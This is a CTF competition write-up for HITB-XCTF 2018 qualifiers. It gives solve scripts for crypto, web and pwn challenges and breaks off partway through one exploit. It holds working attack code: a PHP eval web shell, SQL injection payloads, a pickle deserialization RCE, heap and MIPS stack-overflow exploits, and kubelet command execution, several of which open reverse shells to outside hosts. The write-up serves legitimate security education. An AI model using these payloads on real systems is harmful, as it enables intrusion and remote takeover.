HITB-Quals-2018-writeup

HITB-XCTF 2018 GSEC Online Qualifications Writeup

This writeup based on TokyoWestenrs Team (1st Place)

▶︎

all

running...

easy_block (Crypto)
baby_pub (Crypto)
easy_pub (Crypto)
base (Crypto)
streamgamex (Crypto)
3pigs
upload (Web)
PHP lover (Web)
Baby baby (Web)
Python’s revenge (Web)
Baby FS (Web)
Baby Nya (Web)
gheart (Pwn)
H-Link (Pwn)
gundam (Pwn)
once (Pwn)
d (Pwn)
babypwn (Pwn)
mutepig (Pwn)
moliboom (Reverse)
hacku (Reverse)
hex (Reverse)
sbsun (Reverse)
multicheck (Mobile)
kivy simple (Reverse)
pix (Misc)
read file (Misc)
tpyx (Misc)
BOOM (Misc)
simple_forensics

easy_block (Crypto)

Because there is a decrpytion oracle, so I can encrypt any plain text with MAC Key if IV has flexibility.
Verification of MAC uses last 32byte．Therefore the IV requires only last 1byte flexibility.
Since there are no validation for unpad, unpad(“admin” + any 122chars + “{”) is “admin”.

require 'ctf'

user = "admin" + ?a * 122 + '{'
TCPSocket.open(*ARGV) do |s|
  s.echo = true
  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'c'
  s.expect('username:>>')
  s.puts 'admin'
  target = s.gets.chomp
  target = [target].pack("H*")
  s.puts 'c'
  s.expect('username:>>')
  s.puts user + 'user'
  base = s.gets.chomp
  base = [base].pack("H*") + "\x10" * 16

  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'r'
  s.puts user
  s.expect(/Here is your cookie:\n/)
  cookie = [s.gets.chomp].pack("H*")

  cookie = cookie[0...-16]
  base_enc = cookie[0, 64]

  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'l'
  tmp = cookie + ''
  base_enc[32, 16] = base_enc[32, 16] ^ base[32, 16] ^ (target[-15..-1] + "\1")
  tmp[0, 32] = base_enc[16, 32]
  s.puts tmp.unpack1("H*")
  base[16, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*")

  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'l'
  tmp = cookie + ''
  base_enc[16, 16] = base_enc[16, 16] ^ base[16, 16] ^ (target[-31,16])
  tmp[0, 32] = base_enc[0, 32]
  s.puts tmp.unpack1("H*")
  base[0, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*")
  #
  s.expect('Please [r]egister or [l]ogin :>>')
  s.puts 'l'
  tmp = cookie + ''
  base_enc[15, 1] = base_enc[15, 1] ^ base[15, 1] ^ (target[-32])
  tmp[0, 64] = base_enc[0, 64]
  s.puts tmp.unpack1("H*")
  #base[0, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*")
  #
  s.interactive!

end

baby_pub (Crypto)

step1: zipCrypto known plain text attack

tool
step2 reverse py2exe

python script

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.number import bytes_to_long, long_to_bytes
from os import urandom


bs = 16


def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))


class Pubcipher(object):
    def __init__(self):
        self._rsa = RSA.generate(1024)
        self._pkcs = PKCS1_v1_5.new(self._rsa)

    def encrypt(self, msg):
        '''msg must be bytes'''
        return self._pkcs.encrypt(msg)

    def decrypt(self, ciphertext):
        return self._pkcs.decrypt(ciphertext, None)


class Sycipher(object):
    def __init__(self):
        self.iv = urandom(AES.block_size)

    def _pad(self, s):
        return s + (AES.block_size - len(s) % AES.block_size) * bytes((AES.block_size - len(s) % AES.block_size, ))

    def _unpad(self, s):
        return s[0:-s[-1]]

    def encrypt(self, msg, key):
        self.cipher = AES.new(key, AES.MODE_OFB, self.iv)
        return self.cipher.encrypt(self._pad(msg))

    def decrypt(self, msg, key):
        self.cipher = AES.new(key, AES.MODE_OFB, self.iv)
        return self._unpad(self.cipher.decrypt(msg))


def main():
    with open('admin.key', 'rb') as f:
        admin_key = f.read(bs)

    print('Welc.')
    pub = Pubcipher()
    sy = Sycipher()
    print(pub._rsa.e)
    print(pub._rsa.n)

    while True:
        choice = input("[t]icke or [k]ey or [f]lag :>>")

        if not choice:
            break
        if choice[0] == 't':
            name = input('ur name:>>')
            if len(name) > 50:
                exit()
            name = bytes(name, 'ISO-8859-1')

            pw = input('ur 16bytes passwd:>>')
            if len(pw) != bs:
                exit()
            pw = bytes(pw, 'ISO-8859-1')

            tic = name + pw + urandom(bs) + admin_key

            try:
                tic = pub.encrypt(tic)
            except ValueError:
                print('Plz input again. Remove space plz.')
                continue
            print(tic.hex())

        elif choice[0] == 'k':
            tmp_k = input('Input the key:>>')
            tmp_k = bytes.fromhex(tmp_k)
            if tmp_k != admin_key:
                exit()
            print(admin_key.hex())

        elif choice[0] == 'f':
            name = input('ur name:>>')
            if len(name) > 50:
                exit()
            name = bytes(name, 'ISO-8859-1')

            pw = input('ur 16bytes passwd:>>')
            if len(pw) != bs:
                exit()
            pw = bytes(pw, 'ISO-8859-1')

            tic = input('ur ticket:>>')
            try:
                tic = bytes.fromhex(tic)
            except Exception:
                continue

            p = pub.decrypt(tic)
            try:
                _name = p[-4 * bs:-3 * bs]
                _pw = p[-3 * bs:-2 * bs]
                _admin_key = p[-bs:]
                seed = p[-2 * bs:-bs]

                if _name != name or _pw != pw or _admin_key != admin_key:
                    raise ValueError
            except Exception:
                print('u input wrong passwd or username')
                continue

            key = xor(seed, pw)

            with open('attach.bin', 'rb') as f:
                flag = f.read()
                flag = sy.encrypt(flag, key)
            print(flag.hex())

        else:
            exit()


if __name__ == '__main__':
    main()

step3 PKCS#1 v1.5 decrypt oracle

Between 106th line-116th line:

            try:
                _name = p[-4 * bs:-3 * bs]
                _pw = p[-3 * bs:-2 * bs]
                _admin_key = p[-bs:]
                seed = p[-2 * bs:-bs]

                if _name != name or _pw != pw or _admin_key != admin_key:
                    raise ValueError
            except Exception:
                print('u input wrong passwd or username')
                continue

As the decrypt function for pkcs is initialize like this:

    def decrypt(self, ciphertext):
        return self._pkcs.decrypt(ciphertext, None)

It won’t raise an error when PKCS detect some error for padding, decrypt function will just return None, and when it try to _name = p[-4 * bs:-3 * bs], an error will raise.

SO here is a decrypt oracle. We can leak the information about whether the first 2 bytes is ‘0002’. Actualle, it is an old attack. Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1

Why I choose this one? Because this paper. Real world never realize the danger from cryptography bug.

step4 get flag

easy_pub (Crypto)

$d(c(x)c(y))=xy.$

# coding: ASCII-8BIT
require 'ctf'

include CTF::Math

TCPSocket.open(*ARGV) do |s|
  s.echo = true
  s.gets
  e = s.gets.to_i
  fail if e != 65537
  n = s.gets.to_i
  s.gets
  s.gets
  s.gets

  s.expect('>>')
  s.print "r\n"
  s.expect('>>')
  s.print "\1oge\n"
  msg = s.gets.to_i

  s.expect('>>')
  s.print "l\n"
  s.puts mod_pow(7, e, n) * msg % n
  s.puts 0
  s.puts 0
  s.expect(/b['"]/)
  d = s.gets.chomp[0..-2]
  p eval('"%s"' % d)
  r = eval('"%s"' % d).unpack1("H*").to_i(16)

  if r % 7 == 0
    puts '!!!'
  end
  r /= 7
  p '%x' % r
  p ["0%x" % (r)].pack("H*")
  puts ["0%x" % (r)].pack("H*")
  s.interactive!
end

base (Crypto)

Best-first-search algorithm for prefix matching.

require 'socket'
require 'expect'
TARGET = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='
def diff(s, t)
    len = [s.size, t.size].min
    len.times do |i|
        return i if s[i] != t[i]
    end
    return len
end
queue = [['Xiaomo@FlappyPig'.unpack1("H*"), '2WjF4S3iL7tJvAtHCecd3hl74rnH3hUj']]
TCPSocket.open('47.91.210.116', '9999') do |s|
    while queue.size > 0
        queue.sort_by!{|a, b|-diff(b, TARGET)}
        cur, enc = queue.shift
        p [cur, diff(enc, TARGET)]
        if enc == TARGET
            puts 'FOUND %s' % cur
            exit -1
        end
        next if enc.size > TARGET.size
        STDOUT.flush
        sleep 0.01
        '0123456789abcdef'.unpack("C*").each do |c|
            nex = cur + c.chr
            s.puts nex
            s.expect(') => "')
            result = s.gets.chomp[0..-2]
            queue.push([nex, result])
        end
    end
end

$ nc 47.91.210.116 9999
Tips:
        "HITB{"+decrypt("2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=")+"}"
Input: 5869616f6d6f40466c61707079506967
encrypt("5869616f6d6f40466c61707079506967") => "2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU="
U R RIGHT!!!
FLAG IS: HITB{5869616f6d6f40466c61707079506967}

streamgamex (Crypto)

linear simultaneous equations

mask = 0b10110110110011010111001101011010101011011
N = 24
F = GF(2)
R = [vector(F, N) for i in range(N)]
for i in range(N):
  R[i][i] = 1

def lfsr(R,mask):
    lastbit = vector(F, N)
    for i in range(0, N):
      if mask >> i & 1:
        lastbit += R[i]
    output = [lastbit] + R[0:N-1]
    return (output,lastbit)

b = ''
with open('key', 'rb') as f:
  b = f.read()
M = Matrix(F, len(b) * 8, N)
vec = vector(F, len(b) * 8)
row = 0
for i in range(len(b)):
  t = ord(b[i])
  for j in xrange(7, -1, -1):
    vec[row] = t >> j & 1
    (R, out) = lfsr(R, mask)
    M[row] = out
    row += 1
print rank(M)
print ''.join(map(str, list(M.solve_right(vec))[::-1]))

optirun ./hashcat64.bin -a 3 -m 1400 b2dcba51efd4a7d6157c956884a15934cb3edd3d2c1026830afa8db4ec108b58 -1 '01' 'flag{?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1}'

3pigs

web

the part of web is very easy , you can bypass secret by using of python-format:

+: x.__add__(y) <==> x+y
*: x.__mul__(n) <==> x*n
"".__doc__: ()''= - > \n . ,
"".__gt__.__doc__: > () = _ .
"".__lt__.__doc__: <
"".__add__.__doc__: +
"".__subclasshook__.__doc__ :ABCFNIO
"".__mod__.__doc__: %
"".__new__.__doc__ : T S
"".__getslice__.__doc__: U
U {0.__getslice__.__doc__[56]}
O {0.__subclasshook__.__doc__[234]}
T {0.__new__.__doc__[0]}
p {0.__doc__[49]}
% {0.__mod__.__doc__[19]}
I {0.__doc__[77]}
< {0.__delattr__.__doc__[22]}
S {.__sizeof__.__doc__[0]}
=>
UOTp%I<S
{0.__getslice__.__doc__[56]}{0.__subclasshook__.__doc__[234]}{0.__new__.__doc__[0]}{0.__doc__[49]}{0.__mod__.__doc__[19]}{0.__doc__[77]}{0.__delattr__.__doc__[22]}{0.__sizeof__.__doc__[0]}

pwn

the part of pwn is easy,too , there is only one point that you should try to find the way how to make the size of top smaller:

catchpig(0,"0"*0xc8) # top smaller 1
catchpig(1,"0"*0xc8) # top smaller 2
catchpig(2) # bypass glibc check
freepig(2)
freepig(1)
freepig(0)

By using these steps, we can make the size of top become 0x80, then we create new pig and it will becomes a unsorted bin(0x60), which we can exploit it by house of orange

exp

#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import re
from pwn import *
from md5 import getvcode
url = "http://47.75.153.218:9999"
libc = ELF("./libc.so.6.ctf")

r = requests.session()
c = r.get("%s/login.php"%url).content
v = re.findall("md5\(\?\)\[:4\] = (\w{4})",c)[0]
vc = getvcode(v)

logindata = {
    'username': 'admin',
    'vcode': vc
}

def Post(u,d):
    c = r.post(u,data=d).text
    print c
    if 'Success' not in c:
        sys.exit()

Post("%s/login.php"%url,logindata)

def catchpig(id,data):
    u = "%s/addpig.php" % url
    data = {
        "id": id,
        "content": data.encode("base64")
    }
    Post(u,data)

def freepig(id):
    u = "%s/freepig.php" %url
    data = {
        "id": id
    }
    Post(u,data)

def listpig():
    u = "%s/index.php" % url
    con = r.get(u).content
    return con

def catchgold():
    u = "%s/flypig.php" % url
    secret = "{0.__getslice__.__doc__[56]}{0.__subclasshook__.__doc__[234]}{0.__new__.__doc__[0]}{0.__doc__[49]}{0.__mod__.__doc__[19]}{0.__doc__[77]}{0.__delattr__.__doc__[22]}{0.__sizeof__.__doc__[0]}"
    data = {
        "secret": secret.encode("base64")
    }
    Post(u,data)

def usegold(data):
    u = "%s/flypig.php" % url
    data = {
        "secret": data.encode("base64")
    }
    Post(u,data)

def leak():
    global io_list_all, libc_addr
    catchpig(0,"0")
    catchpig(1,"1")
    freepig(0)
    catchpig(2,"2")
    ret = listpig()
    tmp = ret.split("Small Li")[1].split("</strong>")[0].strip()
    print tmp
    tmp = tmp.split("\\x")
    print [tmp]
    addr = ''
    for i in tmp:
        if len(i)==1:
            addr += i
        else:
            try:
                addr += chr(int(i[:2],16))
                if len(i)>2:
                    addr += i[2:]
            except:
                addr += i
    addr = addr.ljust(8,'\x00')
    addr = u64(addr)
    usbin_addr = addr
    io_list_all = usbin_addr + 0x9a8
    libc_addr = (addr & 0xfffffffff000) - 0x3c1000
    freepig(1)
    freepig(2)

def cleantop():
    #tmp = (binsh_addr-100)/2
    catchpig(0,"0"*0xb8)
    catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18)
    catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr))
    freepig(1)
    freepig(2)
    freepig(0)

def cleantop2():
    catchpig(0,"0"*0xb8)
    catchpig(2,"2")
    freepig(0)
    freepig(2)

    catchpig(1,"4")
    catchgold()
    catchpig(2,"5")
    freepig(2)
    freepig(1)

    usegold(p64(0) + p64(io_list_all-0x10)[:-1])
    catchpig("1"+"\n" + "\x00"*13+"    nc -e /bin/sh 23.105.201.24 55",'2')

    #for i in xrange(10):
    #    catchpig(1,"echo 1 > /tmp/123\n")

if __name__=='__main__':
    leak()
    system_addr = libc_addr + libc.symbols['system']
    io_str_jumps = libc_addr + libc.symbols['_IO_file_jumps'] + 0xc0
    binsh_addr = libc_addr + libc.search("/bin/sh").next()

    log.success("io_addr: %s"%(hex(io_list_all)))
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("binsh_addr: %s"%(hex(binsh_addr)))
    log.success("strjump_addr: %s"%(hex(io_str_jumps)))
    raw_input("system")
    for i in xrange(112):
        cleantop()
        print i
    #cleantop()
    cleantop2()

upload (Web)

Remove server uses Windows.

$ curl http://47.90.97.18:9999/pic.php -v
*   Trying 47.90.97.18...
* TCP_NODELAY set
* Connected to 47.90.97.18 (47.90.97.18) port 9999 (#0)
> GET /pic.php HTTP/1.1
> Host: 47.90.97.18:9999
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/7.0
< X-Powered-By: PHP/5.6.35
< Date: Thu, 12 Apr 2018 03:13:05 GMT
< Content-Length: 11
<
* Connection #0 to host 47.90.97.18 left intact
image error%

upload.php doesn’t accept .php file but it accepts .PHP. It is same on Windows.
/upload directory is dummy.
PHP on Windows have strange behavior of File name with <. I can use it for one by one char search for directory name.

We upload the file 1523501227.png

s = ''
while true
  ff = false
  t = '0123456789abcdef'.unpack("C*")
  t.each do |i|
    next if i == 0x3e || i == 0x3c


    r = `curl -s http://47.90.97.18:9999/pic.php?filename=../#{s}%#{'%02x' % i}%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e/1523501227.png`
    unless r.include?('error')
      puts r
      puts i
      s += i.chr
      p s
      ff = true
      break
    end
    p [i, r]
  end

  unless ff
    puts 'NF'
    puts s
    exit -1
  end
end

exploit.php

<?php
echo '"HELLO!!\n"';
eval($_GET["hello"]);

$ curl 'http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523502390.PHP?hello=var_dump(glob("../*"));'
"HELLO!!\n"array(9) {
  [0]=>
  string(35) "../87194f13726af7cee27ba2cfe97b60df"
  [1]=>
  string(8) "../admin"
  [2]=>
  string(11) "../flag.php"
  [3]=>
  string(13) "../index.html"
  [4]=>
  string(10) "../pic.php"
  [5]=>
  string(9) "../system"
  [6]=>
  string(9) "../upfile"
  [7]=>
  string(9) "../upload"
  [8]=>
  string(13) "../upload.php"
}

$ curl 'http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523502390.PHP?hello=var_dump(file_get_contents("../flag.php"));'
"HELLO!!\n"string(73) "<?php
echo "flag is here";
//HITB{e5f476c1e4c6dc66278db95f0b5a228a}
?>"

PHP lover (Web)

First, I made the avatar error state.
User name with 300 length caused overflow of the filename of avater. Then we could use report function.
User’s email can be “'hogehoge”@hoge.cc, and there are second query injection in report function
There is another filter but it can be bypassed with comment such asselect 1 from/**/user.
Captcha is reuseable.

require 'cgi'
require 'shellwords'

# user idの取得
# email = <<EOS
# "',(select id from/**/users/**/where/**/nickname='piyomisaki'))#"@hoge.cc
# EOS

user_id = 10291
# email = <<EOS
# "',''), (10291,(select group_concat(column_name)/**/from/**/information_schema.columns where table_schema=database() and table_name='fffflag_is_here'),765)#"@hoge.cc
# EOS
email = <<EOS
"',''), (10291,(select fllllag_is_hhhhere/**/from fffflag_is_here),765)#"@hoge.cc
EOS
email = email.strip
File.binwrite('email', email)
system 'curl http://47.52.149.205:9999/index.php/edit -c hoge.jar -b hoge.jar -F nickname=piyomisaki -F "email=<email" -F "code=fwaf" -F "submit=submit" -s'
puts
system 'curl http://47.52.149.205:9999/index.php/export -b hoge.jar -s | grep "Your last report used"'
system 'curl http://47.52.149.205:9999/index.php/export -b hoge.jar -s | grep "Your last report used"'

Baby baby (Web)

At first there is strange service on port 5000, 9999 and 10250.

~$ nmap -sV 47.75.146.42 -p-
...
80/tcp    open  http     nginx 1.12.2
5000/tcp  open  ssl/http Docker Registry (API: 2.0)
9999/tcp  open  http     nginx 1.12.2
10250/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
...

5000/tcp was Docker Registry service and got list of containers but this was closed soon.

9999/tcp was nginx same as 80/tcp, but php was disabled so I could get php script with backdoor. (actually this was fake)

10250/tcp was kubelet service and I could get the access to the container with following request.

curl -vvv -k https://47.75.146.42:10250/runningpods/ # get list of running pods => namespace: esn-system, podname: web-test-4092782360-035qx, container: web-test
curl -vvv -k https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d cmd="ls /"
curl -vvv -k https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d cmd="cat /flag.txt"

Python’s revenge (Web)

secret can be calculated by brute force and bypass filter with os.execlpe.

import requests
import string
import random
import itertools
import hashlib
import cPickle
import base64
import os


url = "http://47.75.151.118:9999/"

def get_location(s):
    sess = requests.session()
    sess.post(url+'reminder', data={'reminder': s})
    location = sess.cookies['location']
    return location

def bf_secret():
    return 'hitb' # 4/11 8:56

    digest, location = get_location('a').split('!')
    chars = string.ascii_letters + string.digits
    c4 = [chars] * 4
    for el in itertools.product(*c4):
        secret = ''.join(el)
        if hashlib.sha256(location+secret).hexdigest() == digest:
            return secret

def make_location_cookie(location):
    secret = bf_secret()
    return hashlib.sha256(location+secret).hexdigest()+"!"+location


if __name__ == '__main__':
    class RCE(object):
        def __reduce__(self):
            return (os.execlpe, ('bash', 'bash', '-c', "bash -i >& /dev/tcp/mydomain/10080 0>&1", None))


    location = RCE()

    loc = base64.b64encode(cPickle.dumps(location))
    cookie = make_location_cookie(loc)
    sess = requests.session()
    sess.cookies.set('location', cookie)
    req = sess.get(url)

    print req.text

flag was at /flag_is_here.

Baby FS (Web)

The web application provides features to create a mountpoint and to list files of the mountpoint.

The first time we saw the problem, output of action=list was (if I remember right):

params: path
available path:/data/i00x1k7gks 127.0.0.1(rw,all_squash), 8.8.8.8(ro,all_squash), 127.0.0.1(rw,all_squash)

It looks like /etc/exports. And action=create’s parameters were ip_range, permission, and squash. These were very big hint. But after updating the problem twice, these hints are vanished from the problem:
output of action=list became

params: path
available path:/data/330xtkdrq0, /data/f1p22p2zh7, /data/gcxs5xp1zk,

and action=create's parameters became ip, permission, squash.

After many trials and errors, we found that ip validator is broken: it accepts any 2 characters after / and %0a before /. So we created a mount point with ip=8.8.8.8%0a/%0a/, then accessed to path=/. Flag was a filename in /: HITB{---->}!}<0>cccc}.

Baby Nya (Web)

nmap found Apache Jserv v1.3 on port 8009.

~$ nmap -sV 47.75.128.216 -p-
...
8009/tcp  open   ajp13         Apache Jserv (Protocol v1.3)
..

writing ajp client is tiresome process, I reused proxy_ajp of mod_jk.

~$ sudo apt install libapache2-mod-jk
~$ sudo a2enmod proxy_ajp

~$ cat /etc/apache2/sites-enabled/ajp.conf
ProxyRequests Off
ProxyPass	/ ajp://47.75.128.216:8009/
ProxyPassReverse	/ ajp://47.75.128.216:8009/

The hint says “the tomcat deployed jolokia.war”. I found useful post about jolokia exploitation: https://www.anquanke.com/post/id/103016
Created new user with role manager-gui.

~$ curl -vvv -H 'Content-Type: application/json' localhost:8080/jolokia/ --data '{"type":"EXEC","mbean":"Users:database=UserDatabase,type=UserDatabase","operation":"createUser","arguments":["hoge1234","hoge1234",""]}'
~$ curl -vvv -H 'Content-Type: application/json' localhost:8080/jolokia/ --data '{"type":"EXEC","mbean":"Users:database=UserDatabase,type=User,username=\"hoge1234\"","operation":"addRole","arguments":["manager-gui"]}'

accessing /manager/html with the credentials, I got flag.

gheart (Pwn)

From scryptos

The binary has 5 menus:

sign in
- To signin, we are required to solve an easy Proof of Work
show my heart
- This feature shows us 3 types of hex numbers
  - my encrypted secret: encrypted flag
  - my heart: RSA public key (n, e)
show your heart
- This feature leaks the higher bits of RSA private key § when we choose a large number as “size or your heart”
sign out
exit
These are the parameters I’ve collected from the remote server:

higher bits of p: c68de09c8550f90cad2dcd7697d514286203e93baf328717ba208a3fc5db476379e7b75e43c117b417b9c140e3da4bc3c4005934456c813198f352cec6fb1b27fa0a081b990ab9bb
e: 3
n: 877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D
cipher text: 1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2

… and the flag gets padded like this before encrypting:

assert(len(secret) == 46)
m = ("0" + secret.encode("hex") + "6" * 163).decode("hex")

I passed all informations I’ve got to my team’s crypto guy. (Because I’m not good at crypto ????)
He used SageMath to decrypt the flag.

n = int("877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D", 16)
c = int("1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2", 16)
F = Zmod(n)
PR.<x> = PolynomialRing(F)
x0 = (((2^4)^163 * x + int('6' * 163, 16))^3 - c).monic().small_roots(X=2^(8*46))[0]
hex(ZZ(x0)).decode('hex')
# => 'flag{flappypig_c00l_and_wec0me_your_coming_1!}'

flag: flag{flappypig_c00l_and_wec0me_your_coming_1!}

H-Link (Pwn)

From scryptos
This CGI has 2 features, SysInfo and Echo.

SysInfo simply executes pmap ${self_pid}.
By calling SysInfo several times, I realized that the remote server has no ASLR.

$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1' -H 'SoapAction: #SysInfo'
*   Trying 47.75.186.245...
* Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0)
> GET /cgi-bin/soap.cgi?local=1 HTTP/1.1
> Host: 47.75.186.245:9999
> User-Agent: curl/7.47.0
> Accept: */*
> SoapAction: #SysInfo
>
< HTTP/1.1 200 OK
< Date: Fri Apr 13 05:19:02 2018
< Content-Length: 829
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type:  text/plain
<
2381:   /ctf/goahead_home/www/cgi-bin/soap.cgi
00400000      8K r-x--  /ctf/goahead_home/www/cgi-bin/soap.cgi
00411000      4K rw---  /ctf/goahead_home/www/cgi-bin/soap.cgi
00412000    132K rwx--    [ anon ]
77e28000     64K rw---    [ anon ]
77e38000   1464K r-x--  /lib/mips-linux-gnu/libc-2.13.so
77fa6000     64K -----  /lib/mips-linux-gnu/libc-2.13.so
77fb6000     36K r----  /lib/mips-linux-gnu/libc-2.13.so
77fbf000      8K rw---  /lib/mips-linux-gnu/libc-2.13.so
77fc1000     12K rw---    [ anon ]
77fc4000    140K r-x--  /lib/mips-linux-gnu/ld-2.13.so
77fef000      8K rw---    [ anon ]
77ff5000      4K rw---    [ anon ]
77ff6000      4K r----  /lib/mips-linux-gnu/ld-2.13.so
77ff7000      4K rw---  /lib/mips-linux-gnu/ld-2.13.so
7ffd6000    132K rwx--    [ stack ]
7fff7000      4K r-x--    [ anon ]
 total     2088K

Echo feature echoes the string given via “message” parameter.

$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1&message=114514' -H "SoapAction: #Echo"
*   Trying 47.75.186.245...
* Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0)
> GET /cgi-bin/soap.cgi?local=1&message=114514 HTTP/1.1
> Host: 47.75.186.245:9999
> User-Agent: curl/7.47.0
> Accept: */*
> SoapAction: #Echo
>
< HTTP/1.1 200 OK
< Date: Fri Apr 13 05:24:33 2018
< Content-Length: 6
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type:  text/plain
<
* Connection #0 to host 47.75.186.245 left intact
114514

The Echo feature calls strcpy without checking the length of “message” parameter.
This leads to stack buffer overflow.

Since “message” parameter is given via query string, we have to build our payload without using null-bytes, whitespaces, and ampersands.
This is not a big problem because libc is given and ASLR is disabled on remote server.

Exploit:

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "47.75.186.245"
  port = 9999
else
  host = "localhost"
  port = 54321
end

def tube
  @tube
end

reverse_shell_host = "REDACTED";
reverse_shell_port = 31337;
cmd = "bash${IFS}-c${IFS}'bash</dev/tcp/#{reverse_shell_host}/#{reverse_shell_port}';"

libc_base = 0x77e38000
fake_fp = 0x7fff6b48

payload = ""
payload << "A" * 0x84
payload << [fake_fp].pack("L>")  # fp
payload << [libc_base + 0x11afa8].pack("L>")  # ra (set s1)
payload << "B" * 24
payload << "B" * 4  # s0
payload << [libc_base + 0x41da0].pack("L>")  # s1 = system
payload << [fake_fp].pack("L>")  # fp
payload << [libc_base + 0xe5170].pack("L>")  # ra (call system)
payload << "A" * 64
if cmd.length % 4 != 0
  cmd << "_" * (4 - cmd.length % 4)
end
payload << cmd

raise if payload =~ /[\0\s&]/

PwnTube.open(host, port){|t|
  @tube = t

  a = ""
  a << "GET /cgi-bin/soap.cgi?local=1&message=#{payload} HTTP/1.1\r\n"
  a << "Host: 47.75.186.245:9999\r\n"
  a << "SoapAction: #Echo\r\n\r\n"
  tube.send(a)

  tube.interactive
}

flag: HITB{fdfbf27aaf678a3785df6d343f3309e1}

gundam (Pwn)

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file    = './gundam'
libc_file   = './libc.so.6'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('local', 'remote')
env.set_item('mode',    local = 'SOCKET', remote = 'SOCKET')
